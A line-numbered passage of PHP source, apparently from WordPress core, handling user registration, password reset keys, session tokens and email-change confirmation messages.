1967 * The following strings have a special meaning and will get replaced dynamically:
1968 * - ###USERNAME### The current user's username.
1969 * - ###ADMIN_EMAIL### The admin email in case this was unexpected.
1970 * - ###NEW_EMAIL### The new email address.
1971 * - ###EMAIL### The old email address.
1972 * - ###SITENAME### The name of the site.
1973 * - ###SITEURL### The URL to the site.
1974 * @type string $headers Headers.
1975 * }
1976 * @param array $user The original user array.
1977 * @param array $userdata The updated user array.
1978 */
1979 $email_change_email = apply_filters( 'email_change_email', $email_change_email, $user, $userdata );
1980
1981 $email_change_email['message'] = str_replace( '###USERNAME###', $user['user_login'], $email_change_email['message'] );
1982 $email_change_email['message'] = str_replace( '###ADMIN_EMAIL###', get_option( 'admin_email' ), $email_change_email['message'] );
1983 $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $userdata['user_email'], $email_change_email['message'] );
1984 $email_change_email['message'] = str_replace( '###EMAIL###', $user['user_email'], $email_change_email['message'] );
1985 $email_change_email['message'] = str_replace( '###SITENAME###', $blog_name, $email_change_email['message'] );
1986 $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] );
1987
1988 wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $blog_name ), $email_change_email['message'], $email_change_email['headers'] );
1989 }
1990
1991 if ( $switched_locale ) {
1992 restore_previous_locale();
1993 }
1994 }
1995
1996 // Update the cookies if the password changed.
1997 $current_user = wp_get_current_user();
1998 if ( $current_user->ID == $ID ) {
1999 if ( isset($plaintext_pass) ) {
2000 wp_clear_auth_cookie();
2001
2002 // Here we calculate the expiration length of the current auth cookie and compare it to the default expiration.
2003 // If it's greater than this, then we know the user checked 'Remember Me' when they logged in.
2004 $logged_in_cookie = wp_parse_auth_cookie( '', 'logged_in' );
2005 /** This filter is documented in wp-includes/pluggable.php */
2006 $default_cookie_life = apply_filters( 'auth_cookie_expiration', ( 2 * DAY_IN_SECONDS ), $ID, false );
2007 $remember = ( ( $logged_in_cookie['expiration'] - time() ) > $default_cookie_life );
2008
2009 wp_set_auth_cookie( $ID, $remember );
2010 }
2011 }
2012
2013 return $user_id;
2014}
2015
2016/**
2017 * A simpler way of inserting a user into the database.
2018 *
2019 * Creates a new user with just the username, password, and email. For more
2020 * complex user creation use wp_insert_user() to specify more information.
2021 *
2022 * @since 2.0.0
2023 * @see wp_insert_user() More complete way to create a new user
2024 *
2025 * @param string $username The user's username.
2026 * @param string $password The user's password.
2027 * @param string $email Optional. The user's email. Default empty.
2028 * @return int|WP_Error The newly created user's ID or a WP_Error object if the user could not
2029 * be created.
2030 */
2031function wp_create_user($username, $password, $email = '') {
2032 $user_login = wp_slash( $username );
2033 $user_email = wp_slash( $email );
2034 $user_pass = $password;
2035
2036 $userdata = compact('user_login', 'user_email', 'user_pass');
2037 return wp_insert_user($userdata);
2038}
2039
2040/**
2041 * Returns a list of meta keys to be (maybe) populated in wp_update_user().
2042 *
2043 * The list of keys returned via this function are dependent on the presence
2044 * of those keys in the user meta data to be set.
2045 *
2046 * @since 3.3.0
2047 * @access private
2048 *
2049 * @param WP_User $user WP_User instance.
2050 * @return array List of user keys to be populated in wp_update_user().
2051 */
2052function _get_additional_user_keys( $user ) {
2053 $keys = array( 'first_name', 'last_name', 'nickname', 'description', 'rich_editing', 'syntax_highlighting', 'comment_shortcuts', 'admin_color', 'use_ssl', 'show_admin_bar_front', 'locale' );
2054 return array_merge( $keys, array_keys( wp_get_user_contact_methods( $user ) ) );
2055}
2056
2057/**
2058 * Set up the user contact methods.
2059 *
2060 * Default contact methods were removed in 3.6. A filter dictates contact methods.
2061 *
2062 * @since 3.7.0
2063 *
2064 * @param WP_User $user Optional. WP_User object.
2065 * @return array Array of contact methods and their labels.
2066 */
2067function wp_get_user_contact_methods( $user = null ) {
2068 $methods = array();
2069 if ( get_site_option( 'initial_db_version' ) < 23588 ) {
2070 $methods = array(
2071 'aim' => __( 'AIM' ),
2072 'yim' => __( 'Yahoo IM' ),
2073 'jabber' => __( 'Jabber / Google Talk' )
2074 );
2075 }
2076
2077 /**
2078 * Filters the user contact methods.
2079 *
2080 * @since 2.9.0
2081 *
2082 * @param array $methods Array of contact methods and their labels.
2083 * @param WP_User $user WP_User object.
2084 */
2085 return apply_filters( 'user_contactmethods', $methods, $user );
2086}
2087
2088/**
2089 * The old private function for setting up user contact methods.
2090 *
2091 * Use wp_get_user_contact_methods() instead.
2092 *
2093 * @since 2.9.0
2094 * @access private
2095 *
2096 * @param WP_User $user Optional. WP_User object. Default null.
2097 * @return array Array of contact methods and their labels.
2098 */
2099function _wp_get_user_contactmethods( $user = null ) {
2100 return wp_get_user_contact_methods( $user );
2101}
2102
2103/**
2104 * Gets the text suggesting how to create strong passwords.
2105 *
2106 * @since 4.1.0
2107 *
2108 * @return string The password hint text.
2109 */
2110function wp_get_password_hint() {
2111 $hint = __( 'Hint: The password should be at least twelve characters long. To make it stronger, use upper and lower case letters, numbers, and symbols like ! " ? $ % ^ & ).' );
2112
2113 /**
2114 * Filters the text describing the site's password complexity policy.
2115 *
2116 * @since 4.1.0
2117 *
2118 * @param string $hint The password hint text.
2119 */
2120 return apply_filters( 'password_hint', $hint );
2121}
2122
2123/**
2124 * Creates, stores, then returns a password reset key for user.
2125 *
2126 * @since 4.4.0
2127 *
2128 * @global wpdb $wpdb WordPress database abstraction object.
2129 * @global PasswordHash $wp_hasher Portable PHP password hashing framework.
2130 *
2131 * @param WP_User $user User to retrieve password reset key for.
2132 *
2133 * @return string|WP_Error Password reset key on success. WP_Error on error.
2134 */
2135function get_password_reset_key( $user ) {
2136 global $wpdb, $wp_hasher;
2137
2138 /**
2139 * Fires before a new password is retrieved.
2140 *
2141 * Use the {@see 'retrieve_password'} hook instead.
2142 *
2143 * @since 1.5.0
2144 * @deprecated 1.5.1 Misspelled. Use 'retrieve_password' hook instead.
2145 *
2146 * @param string $user_login The user login name.
2147 */
2148 do_action( 'retreive_password', $user->user_login );
2149
2150 /**
2151 * Fires before a new password is retrieved.
2152 *
2153 * @since 1.5.1
2154 *
2155 * @param string $user_login The user login name.
2156 */
2157 do_action( 'retrieve_password', $user->user_login );
2158
2159 $allow = true;
2160 if ( is_multisite() && is_user_spammy( $user ) ) {
2161 $allow = false;
2162 }
2163
2164 /**
2165 * Filters whether to allow a password to be reset.
2166 *
2167 * @since 2.7.0
2168 *
2169 * @param bool $allow Whether to allow the password to be reset. Default true.
2170 * @param int $user_data->ID The ID of the user attempting to reset a password.
2171 */
2172 $allow = apply_filters( 'allow_password_reset', $allow, $user->ID );
2173
2174 if ( ! $allow ) {
2175 return new WP_Error( 'no_password_reset', __( 'Password reset is not allowed for this user' ) );
2176 } elseif ( is_wp_error( $allow ) ) {
2177 return $allow;
2178 }
2179
2180 // Generate something random for a password reset key.
2181 $key = wp_generate_password( 20, false );
2182
2183 /**
2184 * Fires when a password reset key is generated.
2185 *
2186 * @since 2.5.0
2187 *
2188 * @param string $user_login The username for the user.
2189 * @param string $key The generated password reset key.
2190 */
2191 do_action( 'retrieve_password_key', $user->user_login, $key );
2192
2193 // Now insert the key, hashed, into the DB.
2194 if ( empty( $wp_hasher ) ) {
2195 require_once ABSPATH . WPINC . '/class-phpass.php';
2196 $wp_hasher = new PasswordHash( 8, true );
2197 }
2198 $hashed = time() . ':' . $wp_hasher->HashPassword( $key );
2199 $key_saved = $wpdb->update( $wpdb->users, array( 'user_activation_key' => $hashed ), array( 'user_login' => $user->user_login ) );
2200 if ( false === $key_saved ) {
2201 return new WP_Error( 'no_password_key_update', __( 'Could not save password reset key to database.' ) );
2202 }
2203
2204 return $key;
2205}
2206
2207/**
2208 * Retrieves a user row based on password reset key and login
2209 *
2210 * A key is considered 'expired' if it exactly matches the value of the
2211 * user_activation_key field, rather than being matched after going through the
2212 * hashing process. This field is now hashed; old values are no longer accepted
2213 * but have a different WP_Error code so good user feedback can be provided.
2214 *
2215 * @since 3.1.0
2216 *
2217 * @global wpdb $wpdb WordPress database object for queries.
2218 * @global PasswordHash $wp_hasher Portable PHP password hashing framework instance.
2219 *
2220 * @param string $key Hash to validate sending user's password.
2221 * @param string $login The user login.
2222 * @return WP_User|WP_Error WP_User object on success, WP_Error object for invalid or expired keys.
2223 */
2224function check_password_reset_key($key, $login) {
2225 global $wpdb, $wp_hasher;
2226
2227 $key = preg_replace('/[^a-z0-9]/i', '', $key);
2228
2229 if ( empty( $key ) || !is_string( $key ) )
2230 return new WP_Error('invalid_key', __('Invalid key'));
2231
2232 if ( empty($login) || !is_string($login) )
2233 return new WP_Error('invalid_key', __('Invalid key'));
2234
2235 $row = $wpdb->get_row( $wpdb->prepare( "SELECT ID, user_activation_key FROM $wpdb->users WHERE user_login = %s", $login ) );
2236 if ( ! $row )
2237 return new WP_Error('invalid_key', __('Invalid key'));
2238
2239 if ( empty( $wp_hasher ) ) {
2240 require_once ABSPATH . WPINC . '/class-phpass.php';
2241 $wp_hasher = new PasswordHash( 8, true );
2242 }
2243
2244 /**
2245 * Filters the expiration time of password reset keys.
2246 *
2247 * @since 4.3.0
2248 *
2249 * @param int $expiration The expiration time in seconds.
2250 */
2251 $expiration_duration = apply_filters( 'password_reset_expiration', DAY_IN_SECONDS );
2252
2253 if ( false !== strpos( $row->user_activation_key, ':' ) ) {
2254 list( $pass_request_time, $pass_key ) = explode( ':', $row->user_activation_key, 2 );
2255 $expiration_time = $pass_request_time + $expiration_duration;
2256 } else {
2257 $pass_key = $row->user_activation_key;
2258 $expiration_time = false;
2259 }
2260
2261 if ( ! $pass_key ) {
2262 return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
2263 }
2264
2265 $hash_is_correct = $wp_hasher->CheckPassword( $key, $pass_key );
2266
2267 if ( $hash_is_correct && $expiration_time && time() < $expiration_time ) {
2268 return get_userdata( $row->ID );
2269 } elseif ( $hash_is_correct && $expiration_time ) {
2270 // Key has an expiration time that's passed
2271 return new WP_Error( 'expired_key', __( 'Invalid key' ) );
2272 }
2273
2274 if ( hash_equals( $row->user_activation_key, $key ) || ( $hash_is_correct && ! $expiration_time ) ) {
2275 $return = new WP_Error( 'expired_key', __( 'Invalid key' ) );
2276 $user_id = $row->ID;
2277
2278 /**
2279 * Filters the return value of check_password_reset_key() when an
2280 * old-style key is used.
2281 *
2282 * @since 3.7.0 Previously plain-text keys were stored in the database.
2283 * @since 4.3.0 Previously key hashes were stored without an expiration time.
2284 *
2285 * @param WP_Error $return A WP_Error object denoting an expired key.
2286 * Return a WP_User object to validate the key.
2287 * @param int $user_id The matched user ID.
2288 */
2289 return apply_filters( 'password_reset_key_expired', $return, $user_id );
2290 }
2291
2292 return new WP_Error( 'invalid_key', __( 'Invalid key' ) );
2293}
2294
2295/**
2296 * Handles resetting the user's password.
2297 *
2298 * @since 2.5.0
2299 *
2300 * @param WP_User $user The user
2301 * @param string $new_pass New password for the user in plaintext
2302 */
2303function reset_password( $user, $new_pass ) {
2304 /**
2305 * Fires before the user's password is reset.
2306 *
2307 * @since 1.5.0
2308 *
2309 * @param object $user The user.
2310 * @param string $new_pass New user password.
2311 */
2312 do_action( 'password_reset', $user, $new_pass );
2313
2314 wp_set_password( $new_pass, $user->ID );
2315 update_user_option( $user->ID, 'default_password_nag', false, true );
2316
2317 /**
2318 * Fires after the user's password is reset.
2319 *
2320 * @since 4.4.0
2321 *
2322 * @param WP_User $user The user.
2323 * @param string $new_pass New user password.
2324 */
2325 do_action( 'after_password_reset', $user, $new_pass );
2326}
2327
2328/**
2329 * Handles registering a new user.
2330 *
2331 * @since 2.5.0
2332 *
2333 * @param string $user_login User's username for logging in
2334 * @param string $user_email User's email address to send password and add
2335 * @return int|WP_Error Either user's ID or error on failure.
2336 */
2337function register_new_user( $user_login, $user_email ) {
2338 $errors = new WP_Error();
2339
2340 $sanitized_user_login = sanitize_user( $user_login );
2341 /**
2342 * Filters the email address of a user being registered.
2343 *
2344 * @since 2.1.0
2345 *
2346 * @param string $user_email The email address of the new user.
2347 */
2348 $user_email = apply_filters( 'user_registration_email', $user_email );
2349
2350 // Check the username
2351 if ( $sanitized_user_login == '' ) {
2352 $errors->add( 'empty_username', __( '<strong>ERROR</strong>: Please enter a username.' ) );
2353 } elseif ( ! validate_username( $user_login ) ) {
2354 $errors->add( 'invalid_username', __( '<strong>ERROR</strong>: This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
2355 $sanitized_user_login = '';
2356 } elseif ( username_exists( $sanitized_user_login ) ) {
2357 $errors->add( 'username_exists', __( '<strong>ERROR</strong>: This username is already registered. Please choose another one.' ) );
2358
2359 } else {
2360 /** This filter is documented in wp-includes/user.php */
2361 $illegal_user_logins = array_map( 'strtolower', (array) apply_filters( 'illegal_user_logins', array() ) );
2362 if ( in_array( strtolower( $sanitized_user_login ), $illegal_user_logins ) ) {
2363 $errors->add( 'invalid_username', __( '<strong>ERROR</strong>: Sorry, that username is not allowed.' ) );
2364 }
2365 }
2366
2367 // Check the email address
2368 if ( $user_email == '' ) {
2369 $errors->add( 'empty_email', __( '<strong>ERROR</strong>: Please type your email address.' ) );
2370 } elseif ( ! is_email( $user_email ) ) {
2371 $errors->add( 'invalid_email', __( '<strong>ERROR</strong>: The email address isn’t correct.' ) );
2372 $user_email = '';
2373 } elseif ( email_exists( $user_email ) ) {
2374 $errors->add( 'email_exists', __( '<strong>ERROR</strong>: This email is already registered, please choose another one.' ) );
2375 }
2376
2377 /**
2378 * Fires when submitting registration form data, before the user is created.
2379 *
2380 * @since 2.1.0
2381 *
2382 * @param string $sanitized_user_login The submitted username after being sanitized.
2383 * @param string $user_email The submitted email.
2384 * @param WP_Error $errors Contains any errors with submitted username and email,
2385 * e.g., an empty field, an invalid username or email,
2386 * or an existing username or email.
2387 */
2388 do_action( 'register_post', $sanitized_user_login, $user_email, $errors );
2389
2390 /**
2391 * Filters the errors encountered when a new user is being registered.
2392 *
2393 * The filtered WP_Error object may, for example, contain errors for an invalid
2394 * or existing username or email address. A WP_Error object should always returned,
2395 * but may or may not contain errors.
2396 *
2397 * If any errors are present in $errors, this will abort the user's registration.
2398 *
2399 * @since 2.1.0
2400 *
2401 * @param WP_Error $errors A WP_Error object containing any errors encountered
2402 * during registration.
2403 * @param string $sanitized_user_login User's username after it has been sanitized.
2404 * @param string $user_email User's email.
2405 */
2406 $errors = apply_filters( 'registration_errors', $errors, $sanitized_user_login, $user_email );
2407
2408 if ( $errors->get_error_code() )
2409 return $errors;
2410
2411 $user_pass = wp_generate_password( 12, false );
2412 $user_id = wp_create_user( $sanitized_user_login, $user_pass, $user_email );
2413 if ( ! $user_id || is_wp_error( $user_id ) ) {
2414 $errors->add( 'registerfail', sprintf( __( '<strong>ERROR</strong>: Couldn’t register you… please contact the <a href="mailto:%s">webmaster</a> !' ), get_option( 'admin_email' ) ) );
2415 return $errors;
2416 }
2417
2418 update_user_option( $user_id, 'default_password_nag', true, true ); //Set up the Password change nag.
2419
2420 /**
2421 * Fires after a new user registration has been recorded.
2422 *
2423 * @since 4.4.0
2424 *
2425 * @param int $user_id ID of the newly registered user.
2426 */
2427 do_action( 'register_new_user', $user_id );
2428
2429 return $user_id;
2430}
2431
2432/**
2433 * Initiates email notifications related to the creation of new users.
2434 *
2435 * Notifications are sent both to the site admin and to the newly created user.
2436 *
2437 * @since 4.4.0
2438 * @since 4.6.0 Converted the `$notify` parameter to accept 'user' for sending
2439 * notifications only to the user created.
2440 *
2441 * @param int $user_id ID of the newly created user.
2442 * @param string $notify Optional. Type of notification that should happen. Accepts 'admin'
2443 * or an empty string (admin only), 'user', or 'both' (admin and user).
2444 * Default 'both'.
2445 */
2446function wp_send_new_user_notifications( $user_id, $notify = 'both' ) {
2447 wp_new_user_notification( $user_id, null, $notify );
2448}
2449
2450/**
2451 * Retrieve the current session token from the logged_in cookie.
2452 *
2453 * @since 4.0.0
2454 *
2455 * @return string Token.
2456 */
2457function wp_get_session_token() {
2458 $cookie = wp_parse_auth_cookie( '', 'logged_in' );
2459 return ! empty( $cookie['token'] ) ? $cookie['token'] : '';
2460}
2461
2462/**
2463 * Retrieve a list of sessions for the current user.
2464 *
2465 * @since 4.0.0
2466 * @return array Array of sessions.
2467 */
2468function wp_get_all_sessions() {
2469 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2470 return $manager->get_all();
2471}
2472
2473/**
2474 * Remove the current session token from the database.
2475 *
2476 * @since 4.0.0
2477 */
2478function wp_destroy_current_session() {
2479 $token = wp_get_session_token();
2480 if ( $token ) {
2481 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2482 $manager->destroy( $token );
2483 }
2484}
2485
2486/**
2487 * Remove all but the current session token for the current user for the database.
2488 *
2489 * @since 4.0.0
2490 */
2491function wp_destroy_other_sessions() {
2492 $token = wp_get_session_token();
2493 if ( $token ) {
2494 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2495 $manager->destroy_others( $token );
2496 }
2497}
2498
2499/**
2500 * Remove all session tokens for the current user from the database.
2501 *
2502 * @since 4.0.0
2503 */
2504function wp_destroy_all_sessions() {
2505 $manager = WP_Session_Tokens::get_instance( get_current_user_id() );
2506 $manager->destroy_all();
2507}
2508
2509/**
2510 * Get the user IDs of all users with no role on this site.
2511 *
2512 * @since 4.4.0
2513 * @since 4.9.0 The `$site_id` parameter was added to support multisite.
2514 *
2515 * @param int|null $site_id Optional. The site ID to get users with no role for. Defaults to the current site.
2516 * @return array Array of user IDs.
2517 */
2518function wp_get_users_with_no_role( $site_id = null ) {
2519 global $wpdb;
2520
2521 if ( ! $site_id ) {
2522 $site_id = get_current_blog_id();
2523 }
2524
2525 $prefix = $wpdb->get_blog_prefix( $site_id );
2526
2527 if ( is_multisite() && $site_id != get_current_blog_id() ) {
2528 switch_to_blog( $site_id );
2529 $role_names = wp_roles()->get_names();
2530 restore_current_blog();
2531 } else {
2532 $role_names = wp_roles()->get_names();
2533 }
2534
2535 $regex = implode( '|', array_keys( $role_names ) );
2536 $regex = preg_replace( '/[^a-zA-Z_\|-]/', '', $regex );
2537 $users = $wpdb->get_col( $wpdb->prepare( "
2538 SELECT user_id
2539 FROM $wpdb->usermeta
2540 WHERE meta_key = '{$prefix}capabilities'
2541 AND meta_value NOT REGEXP %s
2542 ", $regex ) );
2543
2544 return $users;
2545}
2546
2547/**
2548 * Retrieves the current user object.
2549 *
2550 * Will set the current user, if the current user is not set. The current user
2551 * will be set to the logged-in person. If no user is logged-in, then it will
2552 * set the current user to 0, which is invalid and won't have any permissions.
2553 *
2554 * This function is used by the pluggable functions wp_get_current_user() and
2555 * get_currentuserinfo(), the latter of which is deprecated but used for backward
2556 * compatibility.
2557 *
2558 * @since 4.5.0
2559 * @access private
2560 *
2561 * @see wp_get_current_user()
2562 * @global WP_User $current_user Checks if the current user is set.
2563 *
2564 * @return WP_User Current WP_User instance.
2565 */
2566function _wp_get_current_user() {
2567 global $current_user;
2568
2569 if ( ! empty( $current_user ) ) {
2570 if ( $current_user instanceof WP_User ) {
2571 return $current_user;
2572 }
2573
2574 // Upgrade stdClass to WP_User
2575 if ( is_object( $current_user ) && isset( $current_user->ID ) ) {
2576 $cur_id = $current_user->ID;
2577 $current_user = null;
2578 wp_set_current_user( $cur_id );
2579 return $current_user;
2580 }
2581
2582 // $current_user has a junk value. Force to WP_User with ID 0.
2583 $current_user = null;
2584 wp_set_current_user( 0 );
2585 return $current_user;
2586 }
2587
2588 if ( defined('XMLRPC_REQUEST') && XMLRPC_REQUEST ) {
2589 wp_set_current_user( 0 );
2590 return $current_user;
2591 }
2592
2593 /**
2594 * Filters the current user.
2595 *
2596 * The default filters use this to determine the current user from the
2597 * request's cookies, if available.
2598 *
2599 * Returning a value of false will effectively short-circuit setting
2600 * the current user.
2601 *
2602 * @since 3.9.0
2603 *
2604 * @param int|bool $user_id User ID if one has been determined, false otherwise.
2605 */
2606 $user_id = apply_filters( 'determine_current_user', false );
2607 if ( ! $user_id ) {
2608 wp_set_current_user( 0 );
2609 return $current_user;
2610 }
2611
2612 wp_set_current_user( $user_id );
2613
2614 return $current_user;
2615}
2616
2617/**
2618 * Send a confirmation request email when a change of user email address is attempted.
2619 *
2620 * @since 3.0.0
2621 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
2622 *
2623 * @global WP_Error $errors WP_Error object.
2624 * @global wpdb $wpdb WordPress database object.
2625 */
2626function send_confirmation_on_profile_email() {
2627 global $errors, $wpdb;
2628
2629 $current_user = wp_get_current_user();
2630 if ( ! is_object( $errors ) ) {
2631 $errors = new WP_Error();
2632 }
2633
2634 if ( $current_user->ID != $_POST['user_id'] ) {
2635 return false;
2636 }
2637
2638 if ( $current_user->user_email != $_POST['email'] ) {
2639 if ( ! is_email( $_POST['email'] ) ) {
2640 $errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address isn’t correct." ), array(
2641 'form-field' => 'email',
2642 ) );
2643
2644 return;
2645 }
2646
2647 if ( $wpdb->get_var( $wpdb->prepare( "SELECT user_email FROM {$wpdb->users} WHERE user_email=%s", $_POST['email'] ) ) ) {
2648 $errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address is already used." ), array(
2649 'form-field' => 'email',
2650 ) );
2651 delete_user_meta( $current_user->ID, '_new_email' );
2652
2653 return;
2654 }
2655
2656 $hash = md5( $_POST['email'] . time() . mt_rand() );
2657 $new_user_email = array(
2658 'hash' => $hash,
2659 'newemail' => $_POST['email'],
2660 );
2661 update_user_meta( $current_user->ID, '_new_email', $new_user_email );
2662
2663 if ( is_multisite() ) {
2664 $sitename = get_site_option( 'site_name' );
2665 } else {
2666 $sitename = get_option( 'blogname' );
2667 }
2668
2669 /* translators: Do not translate USERNAME, ADMIN_URL, EMAIL, SITENAME, SITEURL: those are placeholders. */
2670 $email_text = __( 'Howdy ###USERNAME###,
2671
2672You recently requested to have the email address on your account changed.
2673
2674If this is correct, please click on the following link to change it:
2675###ADMIN_URL###
2676
2677You can safely ignore and delete this email if you do not want to
2678take this action.
2679
2680This email has been sent to ###EMAIL###
2681
2682Regards,
2683All at ###SITENAME###
2684###SITEURL###' );
2685
2686 /**
2687 * Filters the text of the email sent when a change of user email address is attempted.
2688 *
2689 * The following strings have a special meaning and will get replaced dynamically:
2690 * ###USERNAME### The current user's username.
2691 * ###ADMIN_URL### The link to click on to confirm the email change.
2692 * ###EMAIL### The new email.
2693 * ###SITENAME### The name of the site.
2694 * ###SITEURL### The URL to the site.
2695 *
2696 * @since MU (3.0.0)
2697 * @since 4.9.0 This filter is no longer Multisite specific.
2698 *
2699 * @param string $email_text Text in the email.
2700 * @param array $new_user_email {
2701 * Data relating to the new user email address.
2702 *
2703 * @type string $hash The secure hash used in the confirmation link URL.
2704 * @type string $newemail The proposed new email address.
2705 * }
2706 */
2707 $content = apply_filters( 'new_user_email_content', $email_text, $new_user_email );
2708
2709 $content = str_replace( '###USERNAME###', $current_user->user_login, $content );
2710 $content = str_replace( '###ADMIN_URL###', esc_url( admin_url( 'profile.php?newuseremail=' . $hash ) ), $content );
2711 $content = str_replace( '###EMAIL###', $_POST['email'], $content );
2712 $content = str_replace( '###SITENAME###', wp_specialchars_decode( $sitename, ENT_QUOTES ), $content );
2713 $content = str_replace( '###SITEURL###', network_home_url(), $content );
2714
2715 wp_mail( $_POST['email'], sprintf( __( '[%s] New Email Address' ), wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ) ), $content );
2716
2717 $_POST['email'] = $current_user->user_email;
2718 }
2719}
2720
2721/**
2722 * Adds an admin notice alerting the user to check for confirmation request email
2723 * after email address change.
2724 *
2725 * @since 3.0.0
2726 * @since 4.9.0 This function was moved from wp-admin/includes/ms.php so it's no longer Multisite specific.
2727 *
2728 * @global string $pagenow
2729 */
2730function new_user_email_admin_notice() {
2731 global $pagenow;
2732 if ( 'profile.php' === $pagenow && isset( $_GET['updated'] ) && $email = get_user_meta( get_current_user_id(), '_new_email', true ) ) {
2733 /* translators: %s: New email address */
2734 echo '<div class="notice notice-info"><p>' . sprintf( __( 'Your email address has not been updated yet. Please check your inbox at %s for a confirmation email.' ), '<code>' . esc_html( $email['newemail'] ) . '</code>' ) . '</p></div>';
2735 }
2736}